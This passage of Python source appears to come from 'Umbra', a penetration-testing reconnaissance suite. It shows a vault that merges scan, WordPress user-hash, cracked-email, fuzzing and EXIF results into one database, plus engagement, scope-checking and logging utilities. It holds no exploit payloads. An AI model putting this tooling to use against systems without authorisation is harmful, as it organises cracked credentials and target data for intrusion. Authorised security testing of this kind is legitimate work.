# 10. Enum findings (from um-enum)
conn.execute("""
CREATE TABLE IF NOT EXISTS enum_findings (
id INTEGER PRIMARY KEY AUTOINCREMENT,
domain TEXT NOT NULL,
phase TEXT NOT NULL,
command TEXT NOT NULL,
value TEXT NOT NULL,
url TEXT DEFAULT '',
status_code INTEGER DEFAULT 0,
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
UNIQUE(domain, command, value)
)
""")
# Indexes
conn.execute("CREATE INDEX IF NOT EXISTS idx_domains_domain ON domains(domain)")
conn.execute("CREATE INDEX IF NOT EXISTS idx_hashes_hash ON hashes(hash)")
conn.execute("CREATE INDEX IF NOT EXISTS idx_hashes_domain ON hashes(domain)")
conn.execute("CREATE INDEX IF NOT EXISTS idx_ports_host ON ports(host)")
conn.execute("CREATE INDEX IF NOT EXISTS idx_intel_target ON intel(target)")
conn.commit()
return conn
# ─── Import Functions ─────────────────────────────────────────────────────────
def import_wp_db(vault_conn, wp_db_path):
"""Import from um-wp.db."""
if not os.path.exists(wp_db_path):
return 0
src = sqlite3.connect(wp_db_path)
src.row_factory = sqlite3.Row
count = 0
for r in src.execute("SELECT * FROM sites").fetchall():
vault_conn.execute("""
INSERT INTO domains (domain, is_wordpress, wp_version, detection_methods, last_seen)
VALUES (?, ?, ?, ?, CURRENT_TIMESTAMP)
ON CONFLICT(domain) DO UPDATE SET
is_wordpress = MAX(is_wordpress, excluded.is_wordpress),
wp_version = CASE WHEN excluded.wp_version != '' THEN excluded.wp_version ELSE wp_version END,
detection_methods = CASE WHEN excluded.detection_methods != '' THEN excluded.detection_methods ELSE detection_methods END,
last_seen = CURRENT_TIMESTAMP
""", (r["domain"], r["is_wordpress"], r["wp_version"], r["detection_methods"]))
count += 1
vault_conn.commit()
src.close()
return count
def import_hash_db(vault_conn, hash_db_path):
"""Import from um-hash.db."""
if not os.path.exists(hash_db_path):
return 0
src = sqlite3.connect(hash_db_path)
src.row_factory = sqlite3.Row
count = 0
for r in src.execute("SELECT * FROM hashes").fetchall():
# Ensure domain exists
vault_conn.execute("""
INSERT OR IGNORE INTO domains (domain) VALUES (?)
""", (r["domain"],))
domain_row = vault_conn.execute(
"SELECT id FROM domains WHERE domain=?", (r["domain"],)
).fetchone()
domain_id = domain_row["id"] if domain_row else 0
vault_conn.execute("""
INSERT INTO hashes (hash, domain_id, domain, username, display_name,
user_id, avatar_url)
VALUES (?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(hash) DO UPDATE SET
domain = CASE WHEN excluded.domain != '' THEN excluded.domain ELSE domain END,
username = CASE WHEN excluded.username != '' THEN excluded.username ELSE username END,
display_name = CASE WHEN excluded.display_name != '' THEN excluded.display_name ELSE display_name END
""", (r["hash"], domain_id, r["domain"], r["username"],
r["display_name"], r["user_id"], r["avatar_url"]))
count += 1
vault_conn.commit()
src.close()
return count
def import_crack_db(vault_conn, crack_db_path):
"""Import from um-crack.db."""
if not os.path.exists(crack_db_path):
return 0
src = sqlite3.connect(crack_db_path)
src.row_factory = sqlite3.Row
count = 0
for r in src.execute("SELECT * FROM hashes WHERE cracked_email != ''").fetchall():
vault_conn.execute("""
UPDATE hashes SET
cracked_email = ?,
crack_method = ?,
cracked_at = ?
WHERE hash = ? AND (cracked_email = '' OR cracked_email IS NULL)
""", (r["cracked_email"], r["crack_method"], r["cracked_at"], r["hash"]))
if vault_conn.execute("SELECT changes()").fetchone()[0] == 0:
# Hash not in vault yet, insert it
vault_conn.execute("""
INSERT OR IGNORE INTO hashes (hash, domain, username, display_name,
cracked_email, crack_method, cracked_at)
VALUES (?, ?, ?, ?, ?, ?, ?)
""", (r["hash"], r["domain"], r["username"], r["display_name"],
r["cracked_email"], r["crack_method"], r["cracked_at"]))
count += 1
vault_conn.commit()
src.close()
return count
def import_scan_db(vault_conn, scan_db_path):
"""Import from um-scan.db."""
if not os.path.exists(scan_db_path):
return 0
src = sqlite3.connect(scan_db_path)
src.row_factory = sqlite3.Row
count = 0
for r in src.execute("SELECT * FROM ports WHERE state='open'").fetchall():
vault_conn.execute("""
INSERT INTO ports (host, port, state, service, banner, response_ms)
VALUES (?, ?, ?, ?, ?, ?)
ON CONFLICT(host, port) DO UPDATE SET
service = CASE WHEN excluded.service != '' THEN excluded.service ELSE service END,
banner = CASE WHEN excluded.banner != '' THEN excluded.banner ELSE banner END
""", (r["host"], r["port"], r["state"], r["service"],
r["banner"], r["response_ms"]))
count += 1
vault_conn.commit()
src.close()
return count
def import_intel_db(vault_conn, intel_db_path):
"""Import from um-intel.db."""
if not os.path.exists(intel_db_path):
return 0
src = sqlite3.connect(intel_db_path)
src.row_factory = sqlite3.Row
count = 0
for r in src.execute("SELECT * FROM findings").fetchall():
vault_conn.execute("""
INSERT OR IGNORE INTO intel (target, source, finding_type, value, extra)
VALUES (?, ?, ?, ?, ?)
""", (r["target"], r["source"], r["finding_type"], r["value"], r["extra"]))
count += 1
vault_conn.commit()
src.close()
return count
def import_api_db(vault_conn, api_db_path):
"""Import from um-api.db."""
if not os.path.exists(api_db_path):
return 0
src = sqlite3.connect(api_db_path)
src.row_factory = sqlite3.Row
count = 0
for r in src.execute("SELECT * FROM endpoints").fetchall():
vault_conn.execute("""
INSERT OR IGNORE INTO api_endpoints (target, url, path, discovery_method,
status_code, description)
VALUES (?, ?, ?, ?, ?, ?)
""", (r["target"], r["url"], r["path"], r["discovery_method"],
r["status_code"], r["description"]))
count += 1
vault_conn.commit()
src.close()
return count
def import_fuzz_db(vault_conn, fuzz_db_path):
"""Import from um-fuzz.db."""
if not os.path.exists(fuzz_db_path):
return 0
src = sqlite3.connect(fuzz_db_path)
src.row_factory = sqlite3.Row
count = 0
for r in src.execute("SELECT * FROM results").fetchall():
vault_conn.execute("""
INSERT OR IGNORE INTO fuzz_results (base_url, path, status_code,
content_length, content_type, redirect_url)
VALUES (?, ?, ?, ?, ?, ?)
""", (r["base_url"], r["path"], r["status_code"],
r["content_length"], r["content_type"], r["redirect_url"]))
count += 1
vault_conn.commit()
src.close()
return count
def import_exif_db(vault_conn, exif_db_path):
"""Import from um-exif.db."""
if not os.path.exists(exif_db_path):
return 0
src = sqlite3.connect(exif_db_path)
src.row_factory = sqlite3.Row
count = 0
for r in src.execute("SELECT * FROM images WHERE has_exif=1").fetchall():
vault_conn.execute("""
INSERT OR IGNORE INTO exif_data (file_path, file_name, camera_make,
camera_model, datetime_original, gps_coords, artist, copyright)
VALUES (?, ?, ?, ?, ?, ?, ?, ?)
""", (r["file_path"], r["file_name"], r["camera_make"], r["camera_model"],
r["datetime_original"], r["gps_coords"], r["artist"], r["copyright"]))
count += 1
vault_conn.commit()
src.close()
return count
def import_enum_db(vault_conn, enum_db_path):
"""Import from um-enum.db."""
if not os.path.exists(enum_db_path):
return 0
src = sqlite3.connect(enum_db_path)
src.row_factory = sqlite3.Row
count = 0
for r in src.execute("SELECT * FROM findings").fetchall():
vault_conn.execute("""
INSERT OR IGNORE INTO enum_findings (domain, phase, command, value, url, status_code)
VALUES (?, ?, ?, ?, ?, ?)
""", (r["domain"], r["phase"], r["command"], r["value"],
r["url"], r["status_code"]))
count += 1
vault_conn.commit()
src.close()
return count
# Map tool prefixes to import functions
IMPORT_MAP = {
"um-wp": import_wp_db,
"um-hash": import_hash_db,
"um-crack": import_crack_db,
"um-scan": import_scan_db,
"um-intel": import_intel_db,
"um-api": import_api_db,
"um-fuzz": import_fuzz_db,
"um-exif": import_exif_db,
"um-enum": import_enum_db,
}
def detect_db_type(path):
"""Detect which Umbra tool created a .db file."""
basename = os.path.basename(path).lower()
for prefix in IMPORT_MAP:
if basename.startswith(prefix):
return prefix
# Try detecting by table names
try:
conn = sqlite3.connect(path)
tables = [r[0] for r in conn.execute(
"SELECT name FROM sqlite_master WHERE type='table'"
).fetchall()]
conn.close()
if "sites" in tables and "hashes" not in tables:
return "um-wp"
if "hashes" in tables and "sites" in tables:
return "um-hash"
if "hashes" in tables and "sites" not in tables:
return "um-crack"
if "ports" in tables:
return "um-scan"
if "findings" in tables and "targets" in tables:
# Could be intel or enum — check columns
try:
conn = sqlite3.connect(path)
cols = [r[1] for r in conn.execute("PRAGMA table_info(findings)").fetchall()]
conn.close()
if "source" in cols:
return "um-intel"
if "phase" in cols:
return "um-enum"
except Exception:
pass
if "endpoints" in tables:
return "um-api"
if "results" in tables:
return "um-fuzz"
if "images" in tables:
return "um-exif"
except Exception:
pass
return None
# ─── Dashboard TUI ───────────────────────────────────────────────────────────
console = Console()
from um_tui import UmbraTUI
from um_ops import (create_engagement, get_engagement_db_path, list_engagements,
generate_engagement_summary, op_log, op_log_csv, get_ops_hook)
MENU_ITEMS = [
("1", "Import a tool database"),
("2", "Import all (auto-detect)"),
("3", "Merge from directory"),
("4", "Dashboard / statistics"),
("5", "Run SQL query"),
("6", "Export table to CSV"),
("7", "Create engagement"),
("8", "Switch engagement"),
("9", "Engagement summary"),
("Q", "Quit"),
]
VAULT_INFO = [
"10-table relational schema",
"Auto-detect DB type",
"Import from all Umbra tools",
"Custom SQL queries",
"Per-table CSV export",
]
def get_db_stats(conn):
try:
tables_counts = []
for tbl in ["domains", "hashes", "ports", "intel", "api_endpoints",
"fuzz_results", "exif_data", "enum_findings"]:
try:
c = conn.execute(f'SELECT COUNT(*) FROM "{tbl}"').fetchone()[0]
if c > 0:
tables_counts.append(f"{tbl}:{c:,}")
except Exception:
pass
return " | ".join(tables_counts) if tables_counts else "Vault: empty"
except Exception:
return "Vault: empty"
def show_dashboard(conn):
"""Show comprehensive statistics dashboard."""
stats = {}
tables = {
"domains": "Domains",
"hashes": "Hashes",
"ports": "Open Ports",
"intel": "Intel Findings",
"api_endpoints": "API Endpoints",
"fuzz_results": "Fuzz Results",
"exif_data": "EXIF Images",
"enum_findings": "Enum Findings",
"countries": "Countries",
"organizations": "Organizations",
}
for table, label in tables.items():
try:
count = conn.execute(f'SELECT COUNT(*) FROM "{table}"').fetchone()[0]
stats[label] = count
except Exception:
stats[label] = 0
# Main stats table
main_table = Table(box=box.HEAVY, border_style=THEME_COLOR,
title=f"[bold {THEME_COLOR}]Umbra Vault — Master Database[/]")
main_table.add_column("Table", style="bold", width=20)
main_table.add_column("Records", justify="right", style="cyan", width=12)
for label, count in stats.items():
style = "[green]" if count > 0 else "[dim]"
main_table.add_row(label, f"{style}{count:,}[/]")
console.print(main_table)
# Domain breakdown
try:
wp_count = conn.execute("SELECT COUNT(*) FROM domains WHERE is_wordpress=1").fetchone()[0]
total_domains = stats.get("Domains", 0)
if total_domains:
console.print(f"\n[green]WordPress: {wp_count}/{total_domains} ({wp_count/total_domains*100:.1f}%)[/]")
except Exception:
pass
# Hash breakdown
try:
total_hashes = stats.get("Hashes", 0)
cracked = conn.execute("SELECT COUNT(*) FROM hashes WHERE cracked_email != ''").fetchone()[0]
if total_hashes:
console.print(f"[green]Cracked: {cracked}/{total_hashes} ({cracked/total_hashes*100:.1f}%)[/]")
except Exception:
pass
# Top services
try:
top_services = conn.execute("""
SELECT service, COUNT(*) as cnt FROM ports
GROUP BY service ORDER BY cnt DESC LIMIT 5
""").fetchall()
if top_services:
svc_table = Table(box=box.ROUNDED, border_style=THEME_COLOR,
title=f"[{THEME_COLOR}]Top Services[/]")
svc_table.add_column("Service", style="cyan")
svc_table.add_column("Count", justify="right")
for s in top_services:
svc_table.add_row(s["service"], str(s["cnt"]))
console.print(svc_table)
except Exception:
pass
# Top intel sources
try:
top_sources = conn.execute("""
SELECT source, COUNT(*) as cnt FROM intel
GROUP BY source ORDER BY cnt DESC LIMIT 5
""").fetchall()
if top_sources:
src_table = Table(box=box.ROUNDED, border_style=THEME_COLOR,
title=f"[{THEME_COLOR}]Top Intel Sources[/]")
src_table.add_column("Source", style="yellow")
src_table.add_column("Count", justify="right")
for s in top_sources:
src_table.add_row(s["source"], str(s["cnt"]))
console.print(src_table)
except Exception:
pass
def export_table_csv(conn, table_name, output):
"""Export a specific table to CSV."""
try:
cursor = conn.execute(f'SELECT * FROM "{table_name}"')
rows = cursor.fetchall()
cols = [d[0] for d in cursor.description]
with open(output, "w", newline="") as f:
writer = csv.writer(f)
writer.writerow(cols)
for r in rows:
writer.writerow(list(r))
console.print(f"[green]Exported {len(rows)} rows from {table_name} to {output}[/]")
except Exception as e:
console.print(f"[red]Export error: {e}[/]")
# ─── CLI ──────────────────────────────────────────────────────────────────────
@click.group(invoke_without_command=True)
@click.option("--db", default="um-vault.db", help="Vault database path")
@click.option("--engagement", "-E", default=None, help="Engagement name for organized output")
@click.pass_context
def cli(ctx, db, engagement):
"""Umbra Vault — Master database aggregator for all Umbra tools."""
ctx.ensure_object(dict)
# Env var fallback
engagement = engagement or os.environ.get("UMBRA_ENGAGEMENT", "")
if engagement:
create_engagement(engagement)
db = get_engagement_db_path(engagement, TOOL_NAME)
ctx.obj["db"] = db
ctx.obj["engagement"] = engagement
# Ops hook
hook = get_ops_hook(TOOL_NAME, engagement)
ctx.obj["hook"] = hook
if hook:
hook.register()
if ctx.invoked_subcommand is None:
interactive_menu(ctx)
@cli.command("import")
@click.argument("source")
@click.option("--type", "db_type", default=None,
help="Database type (um-wp, um-hash, um-crack, um-scan, um-intel, um-api, um-fuzz, um-exif, um-enum)")
@click.pass_context
def import_cmd(ctx, source, db_type):
"""Import an Umbra tool database into the vault."""
conn = init_db(ctx.obj["db"])
if not db_type:
db_type = detect_db_type(source)
if not db_type:
console.print(f"[red]Cannot detect database type for {source}. Use --type to specify.[/]")
conn.close()
return
if db_type not in IMPORT_MAP:
console.print(f"[red]Unknown type: {db_type}[/]")
conn.close()
return
import_fn = IMPORT_MAP[db_type]
count = import_fn(conn, source)
console.print(f"[green]Imported {count} records from {source} ({db_type})[/]")
show_dashboard(conn)
conn.close()
@cli.command()
@click.argument("directory")
@click.pass_context
def merge(ctx, directory):
"""Merge all .db files from a directory into the vault."""
conn = init_db(ctx.obj["db"])
db_files = glob.glob(os.path.join(directory, "*.db"))
if not db_files:
console.print(f"[red]No .db files found in {directory}[/]")
conn.close()
return
total_imported = 0
for db_path in sorted(db_files):
if os.path.basename(db_path) == os.path.basename(ctx.obj["db"]):
continue # Skip vault itself
db_type = detect_db_type(db_path)
if db_type and db_type in IMPORT_MAP:
import_fn = IMPORT_MAP[db_type]
count = import_fn(conn, db_path)
console.print(f"[dim] {os.path.basename(db_path)} ({db_type}): {count} records[/]")
total_imported += count
else:
console.print(f"[yellow] {os.path.basename(db_path)}: unknown type, skipped[/]")
console.print(f"\n[green]Total imported: {total_imported} records from {len(db_files)} files[/]")
show_dashboard(conn)
conn.close()
@cli.command("import-all")
@click.pass_context
def import_all(ctx):
"""Auto-import all Umbra .db files from current directory."""
conn = init_db(ctx.obj["db"])
default_files = {
"um-wp": "um-wp.db",
"um-hash": "um-hash.db",
"um-crack": "um-crack.db",
"um-scan": "um-scan.db",
"um-intel": "um-intel.db",
"um-api": "um-api.db",
"um-fuzz": "um-fuzz.db",
"um-exif": "um-exif.db",
"um-enum": "um-enum.db",
}
total = 0
for db_type, filename in default_files.items():
if os.path.exists(filename):
import_fn = IMPORT_MAP[db_type]
count = import_fn(conn, filename)
console.print(f"[green] {filename}: {count} records[/]")
total += count
else:
console.print(f"[dim] {filename}: not found[/]")
console.print(f"\n[green]Total: {total} records imported[/]")
show_dashboard(conn)
conn.close()
@cli.command()
@click.pass_context
def dashboard(ctx):
"""Show the statistics dashboard."""
conn = init_db(ctx.obj["db"])
show_dashboard(conn)
conn.close()
@cli.command()
@click.argument("table_name")
@click.option("-o", "--output", default=None)
@click.pass_context
def export(ctx, table_name, output):
"""Export a vault table to CSV."""
conn = init_db(ctx.obj["db"])
if not output:
output = f"um-vault-{table_name}.csv"
export_table_csv(conn, table_name, output)
conn.close()
@cli.command()
@click.argument("sql_query")
@click.pass_context
def query(ctx, sql_query):
"""Run a custom SQL query on the vault."""
conn = init_db(ctx.obj["db"])
try:
cursor = conn.execute(sql_query)
rows = cursor.fetchall()
if rows:
cols = [d[0] for d in cursor.description]
table = Table(box=box.ROUNDED, border_style=THEME_COLOR)
for col in cols:
table.add_column(col, style="cyan")
for r in rows[:100]:
table.add_row(*[str(v)[:50] for v in r])
console.print(table)
console.print(f"[dim]{len(rows)} rows[/]")
else:
console.print("[dim]No results.[/]")
except Exception as e:
console.print(f"[red]Query error: {e}[/]")
conn.close()
# ─── Interactive Menu ─────────────────────────────────────────────────────────
def interactive_menu(ctx):
conn = init_db(ctx.obj["db"])
def action_handler(key, tui):
if key == "1":
def on_source(source):
if os.path.exists(source):
db_type = detect_db_type(source)
if db_type:
tui.log(f"[*] Detected type: {db_type}")
import_fn = IMPORT_MAP[db_type]
count = import_fn(conn, source)
tui.log(f"[+] Imported {count} records from {source}")
else:
tui.log(f"[!] Cannot detect database type for {source}")
else:
tui.log(f"[!] File not found: {source}")
tui.prompt("Database file path", on_source)
elif key == "2":
default_files = {
"um-wp": "um-wp.db", "um-hash": "um-hash.db",
"um-crack": "um-crack.db", "um-scan": "um-scan.db",
"um-intel": "um-intel.db", "um-api": "um-api.db",
"um-fuzz": "um-fuzz.db", "um-exif": "um-exif.db",
"um-enum": "um-enum.db",
}
total = 0
for db_type, filename in default_files.items():
if os.path.exists(filename):
count = IMPORT_MAP[db_type](conn, filename)
tui.log(f"[+] {filename}: {count} records")
total += count
else:
tui.log(f"[-] {filename}: not found")
tui.log(f"[*] Total imported: {total} records")
elif key == "3":
def on_dir(directory):
db_files = glob.glob(os.path.join(directory, "*.db"))
if not db_files:
tui.log(f"[!] No .db files found in {directory}")
return
for db_path in db_files:
db_type = detect_db_type(db_path)
if db_type and db_type in IMPORT_MAP:
count = IMPORT_MAP[db_type](conn, db_path)
tui.log(f"[+] {os.path.basename(db_path)}: {count} records")
else:
tui.log(f"[-] {os.path.basename(db_path)}: unknown type, skipped")
tui.prompt("Directory path", on_dir)
elif key == "4":
# Build dashboard as a Rich table for VIEW mode
stats = {}
tables_map = {
"domains": "Domains", "hashes": "Hashes",
"ports": "Open Ports", "intel": "Intel Findings",
"api_endpoints": "API Endpoints", "fuzz_results": "Fuzz Results",
"exif_data": "EXIF Images", "enum_findings": "Enum Findings",
"countries": "Countries", "organizations": "Organizations",
}
for table, label in tables_map.items():
try:
count = conn.execute(f'SELECT COUNT(*) FROM "{table}"').fetchone()[0]
stats[label] = count
except Exception:
stats[label] = 0
t = Table(box=box.HEAVY, border_style=THEME_COLOR,
title=f"[bold {THEME_COLOR}]Umbra Vault \u2014 Master Database[/]")
t.add_column("Table", style="bold", width=20)
t.add_column("Records", justify="right", style="cyan", width=12)
for label, count in stats.items():
style = "[green]" if count > 0 else "[dim]"
t.add_row(label, f"{style}{count:,}[/]")
tui.show_table(t)
elif key == "5":
def on_sql(sql):
try:
cursor = conn.execute(sql)
rows = cursor.fetchall()
if rows:
cols = [d[0] for d in cursor.description]
t = Table(box=box.ROUNDED, border_style=THEME_COLOR)
for col in cols:
t.add_column(col)
for r in rows[:50]:
t.add_row(*[str(v)[:40] for v in r])
tui.log(f"[*] Query returned {len(rows)} rows")
tui.show_table(t)
else:
tui.log("[-] No results.")
except Exception as e:
tui.log(f"[!] Query error: {e}")
tui.prompt("SQL", on_sql)
elif key == "6":
def on_table(tname):
def on_file(out):
export_table_csv(conn, tname, out)
tui.log(f"[+] Exported {tname} to {out}")
tui.prompt("Output file", on_file, default=f"um-vault-{tname}.csv")
tui.prompt("Table name", on_table)
elif key == "7":
def on_name(name):
from um_ops import create_engagement
eng_dir = create_engagement(name)
tui.log(f"[+] Engagement created: {name}")
tui.log(f" Path: {eng_dir}")
tui.log(f" Edit scope: {eng_dir}/scope.txt")
tui.prompt("Engagement name", on_name)
elif key == "8":
engagements = list_engagements()
if not engagements:
tui.log("[!] No engagements found. Create one first.")
else:
for i, eng in enumerate(engagements, 1):
tui.log(f" {i}) {eng}")
def on_choice(choice):
try:
idx = int(choice) - 1
if 0 <= idx < len(engagements):
eng_name = engagements[idx]
new_db = get_engagement_db_path(eng_name, TOOL_NAME)
nonlocal conn
conn.close()
conn = init_db(new_db)
tui.engagement = eng_name
ctx.obj["engagement"] = eng_name
tui.log(f"[+] Switched to engagement: {eng_name}")
else:
tui.log("[!] Invalid selection")
except ValueError:
tui.log("[!] Enter a number")
tui.prompt("Select engagement #", on_choice)
elif key == "9":
eng = ctx.obj.get("engagement")
if not eng:
tui.log("[!] No engagement active. Use --engagement or switch first.")
else:
summary = generate_engagement_summary(eng)
tui.log(summary)
tui = UmbraTUI(
tool_name=TOOL_NAME,
version=VERSION,
menu_items=MENU_ITEMS,
info_items=VAULT_INFO,
action_handler=action_handler,
stats_fn=lambda: get_db_stats(conn),
theme=THEME_COLOR,
engagement=ctx.obj.get("engagement"),
)
tui.run()
conn.close()
if __name__ == "__main__":
cli()
+495
View File
@@ -0,0 +1,495 @@
"""um_ops.py — Engagement management, scope enforcement, operational logging,
and cross-tool import utilities for the Umbra reconnaissance suite.
"""
import atexit
import csv
import fcntl
import ipaddress
import json
import os
import re
import sqlite3
import sys
import time
from datetime import datetime
from fnmatch import fnmatch
# ─── Paths ───────────────────────────────────────────────────────────────────
UMBRA_HOME = os.path.expanduser("~/.umbra")
ENGAGEMENTS_DIR = os.path.join(UMBRA_HOME, "engagements")
# Sub-directories created per engagement
ENGAGEMENT_SUBDIRS = [
"targets", "scans", "api", "intel", "enum", "fuzz",
"hashes", "wordpress", "cracking", "exif", "exports",
]
# Tool name → engagement subdirectory mapping
TOOL_DIR_MAP = {
"um-scan": "scans",
"um-api": "api",
"um-intel": "intel",
"um-enum": "enum",
"um-fuzz": "fuzz",
"um-hash": "hashes",
"um-wp": "wordpress",
"um-crack": "cracking",
"um-exif": "exif",
"um-vault": ".",
}
# ─── Ops Hook Bridge ────────────────────────────────────────────────────────
_ops_hook_cls = None
def get_ops_hook(tool_name, engagement=None):
"""Return an OpsHook instance (auto-imports from c2itall). Returns None if unavailable.
Registers an atexit handler to call hook.complete() on clean exit.
"""
global _ops_hook_cls
engagement = engagement or os.environ.get("UMBRA_ENGAGEMENT", "")
if not engagement:
return None
if _ops_hook_cls is None:
try:
c2_path = os.path.expanduser("~/tools/c2itall")
if c2_path not in sys.path:
sys.path.insert(0, c2_path)
from utils.ops_hook import OpsHook
_ops_hook_cls = OpsHook
except ImportError:
_ops_hook_cls = False # sentinel: tried and failed
if _ops_hook_cls is False:
return None
hook = _ops_hook_cls(tool_name, engagement)
atexit.register(lambda h=hook: _safe_complete(h))
return hook
def _safe_complete(hook):
"""atexit callback — mark tool completed if it's still running."""
try:
if hook and hook.active:
hook.complete()
except Exception:
pass
# ─── Engagement Management ───────────────────────────────────────────────────
def create_engagement(name):
"""Create engagement directory structure. Idempotent — safe to call multiple times.
Returns the engagement root path.
"""
name = name.strip().replace(" ", "_")
eng_dir = os.path.join(ENGAGEMENTS_DIR, name)
os.makedirs(eng_dir, exist_ok=True)
# Core files
scope_file = os.path.join(eng_dir, "scope.txt")
if not os.path.exists(scope_file):
with open(scope_file, "w") as f:
f.write("# Scope file — one target per line\n")
f.write("# Supported: CIDR (10.0.0.0/24), IP ranges (10.0.0.1-10), single IPs, FQDNs, *.wildcard\n")
log_file = os.path.join(eng_dir, "umbra.log")
if not os.path.exists(log_file):
with open(log_file, "w") as f:
f.write(f"# Umbra engagement log — {name}\n")
f.write(f"# Created: {datetime.now().isoformat()}\n\n")
csv_file = os.path.join(eng_dir, "command_log.csv")
if not os.path.exists(csv_file):
with open(csv_file, "w", newline="") as f:
writer = csv.writer(f)
writer.writerow(["timestamp", "tool", "action", "target", "result"])
# Sub-directories
for subdir in ENGAGEMENT_SUBDIRS:
os.makedirs(os.path.join(eng_dir, subdir), exist_ok=True)
return eng_dir
def list_engagements():
"""Return a sorted list of engagement names."""
if not os.path.isdir(ENGAGEMENTS_DIR):
return []
return sorted(
d for d in os.listdir(ENGAGEMENTS_DIR)
if os.path.isdir(os.path.join(ENGAGEMENTS_DIR, d))
)
def get_engagement_dir(name):
"""Return the engagement root directory (creates if needed)."""
return create_engagement(name)
def get_tool_output_dir(engagement, tool_name):
"""Return the tool-specific subdirectory inside an engagement."""
eng_dir = get_engagement_dir(engagement)
subdir = TOOL_DIR_MAP.get(tool_name, "exports")
path = os.path.join(eng_dir, subdir)
os.makedirs(path, exist_ok=True)
return path
def get_engagement_db_path(engagement, tool_name):
"""Return the path for a tool's database inside an engagement."""
tool_dir = get_tool_output_dir(engagement, tool_name)
return os.path.join(tool_dir, f"{tool_name}.db")
# ─── Scope Enforcement ──────────────────────────────────────────────────────
def load_scope(file_path):
"""Parse a scope file and return a list of scope entries.
Supported formats:
- CIDR: 10.0.0.0/24
- IP range: 10.0.0.1-10 (expands last octet)
- Single IP: 10.0.0.1
- FQDN: example.com
- Wildcard: *.example.com
- Comment lines start with #
"""
scope = []
file_path = os.path.expanduser(file_path)
if not os.path.exists(file_path):
return scope
with open(file_path) as f:
for raw_line in f:
line = raw_line.strip()
if not line or line.startswith("#"):
continue
scope.append(line)
return scope
def _is_ip(s):
"""Check if string looks like an IP address."""
try:
ipaddress.ip_address(s)
return True
except ValueError:
return False
def _match_cidr(target_ip, cidr):
"""Check if an IP is within a CIDR range."""
try:
return ipaddress.ip_address(target_ip) in ipaddress.ip_network(cidr, strict=False)
except ValueError:
return False
def _match_ip_range(target_ip, range_str):
"""Match an IP range like 10.0.0.1-10."""
m = re.match(r"^(\d+\.\d+\.\d+\.)(\d+)-(\d+)$", range_str)
if not m:
return False
prefix, start, end = m.group(1), int(m.group(2)), int(m.group(3))
try:
last_octet = int(target_ip.split(".")[-1])
ip_prefix = ".".join(target_ip.split(".")[:-1]) + "."
return ip_prefix == prefix and start <= last_octet <= end
except (ValueError, IndexError):
return False
def check_scope(target, scope):
"""Check if a target is within scope.
Returns True if allowed (in scope or scope is empty).
Returns False if blocked (out of scope).
"""
if not scope:
return True # Empty scope = allow all
# Normalize target
target = target.strip().lower()
# Strip protocol/path if URL
if "://" in target:
from urllib.parse import urlparse
parsed = urlparse(target)
target = parsed.hostname or target
target_is_ip = _is_ip(target)
for entry in scope:
entry_lower = entry.lower().strip()
# CIDR match
if "/" in entry and target_is_ip:
if _match_cidr(target, entry):
return True
continue
# IP range match
if re.match(r"^\d+\.\d+\.\d+\.\d+-\d+$", entry):
if target_is_ip and _match_ip_range(target, entry):
return True
continue
# Exact IP match
if _is_ip(entry) and target_is_ip:
if target == entry:
return True
continue
# Wildcard FQDN match
if entry_lower.startswith("*."):
# *.example.com matches foo.example.com and example.com
domain_part = entry_lower[2:]
if target == domain_part or target.endswith("." + domain_part):
return True
continue
# Exact FQDN match
if target == entry_lower:
return True
return False
def get_scope_for_engagement(name):
"""Load scope from an engagement's scope.txt file."""
eng_dir = os.path.join(ENGAGEMENTS_DIR, name.strip().replace(" ", "_"))
scope_file = os.path.join(eng_dir, "scope.txt")
return load_scope(scope_file)
# ─── Operational Logging ────────────────────────────────────────────────────
def op_log(engagement, message, level="info"):
"""Append a timestamped log entry to the engagement's umbra.log.
Levels: info=[*], success=[+], warning=[!], error=[-]
"""
prefixes = {
"info": "[*]",
"success": "[+]",
"warning": "[!]",
"error": "[-]",
}
prefix = prefixes.get(level, "[*]")
ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
eng_dir = os.path.join(ENGAGEMENTS_DIR, engagement.strip().replace(" ", "_"))
log_path = os.path.join(eng_dir, "umbra.log")
try:
os.makedirs(eng_dir, exist_ok=True)
with open(log_path, "a") as f:
f.write(f"{ts} {prefix} {message}\n")
except OSError:
pass
def op_log_csv(engagement, tool, action, target, result):
"""Append a structured CSV audit row to command_log.csv."""
eng_dir = os.path.join(ENGAGEMENTS_DIR, engagement.strip().replace(" ", "_"))
csv_path = os.path.join(eng_dir, "command_log.csv")
ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
try:
os.makedirs(eng_dir, exist_ok=True)
with open(csv_path, "a", newline="") as f:
writer = csv.writer(f)
writer.writerow([ts, tool, action, target, result])
except OSError:
pass
def generate_engagement_summary(name):
"""Generate a text summary of all tool activity within an engagement."""
eng_dir = os.path.join(ENGAGEMENTS_DIR, name.strip().replace(" ", "_"))
if not os.path.isdir(eng_dir):
return f"Engagement '{name}' not found."
lines = [
f"Engagement Summary: {name}",
f"{'=' * 50}",
f"Path: {eng_dir}",
f"Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}",
"",
]
# Check each tool subdirectory for .db files
for tool_name, subdir in TOOL_DIR_MAP.items():
tool_dir = os.path.join(eng_dir, subdir)
db_path = os.path.join(tool_dir, f"{tool_name}.db")
if os.path.exists(db_path):
try:
conn = sqlite3.connect(db_path)
tables = [r[0] for r in conn.execute(
"SELECT name FROM sqlite_master WHERE type='table'"
).fetchall()]
counts = {}
for tbl in tables:
try:
c = conn.execute(f'SELECT COUNT(*) FROM "{tbl}"').fetchone()[0]
if c > 0:
counts[tbl] = c
except Exception:
pass
conn.close()
if counts:
lines.append(f" {tool_name}:")
for tbl, cnt in counts.items():
lines.append(f" {tbl}: {cnt:,} records")
except Exception:
lines.append(f" {tool_name}: DB error")
else:
# Check if directory has any files at all
if os.path.isdir(tool_dir) and os.listdir(tool_dir):
lines.append(f" {tool_name}: files present (no DB)")
# Scope info
scope = get_scope_for_engagement(name)
if scope:
lines.append(f"\nScope: {len(scope)} entries")
for entry in scope[:10]:
lines.append(f" {entry}")
if len(scope) > 10:
lines.append(f" ... and {len(scope) - 10} more")
# Log stats
log_path = os.path.join(eng_dir, "umbra.log")
if os.path.exists(log_path):
with open(log_path) as f:
log_lines = f.readlines()
# Count non-comment, non-empty lines
entries = [l for l in log_lines if l.strip() and not l.startswith("#")]
lines.append(f"\nLog entries: {len(entries)}")
# CSV command log
csv_path = os.path.join(eng_dir, "command_log.csv")
